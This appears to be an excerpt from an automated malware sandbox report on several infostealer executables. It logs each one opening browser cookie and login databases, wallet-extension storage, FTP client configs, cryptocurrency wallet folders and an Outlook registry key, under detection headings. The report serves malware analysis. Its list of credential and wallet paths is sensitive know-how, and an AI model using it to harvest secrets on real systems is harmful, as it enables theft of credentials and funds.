Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
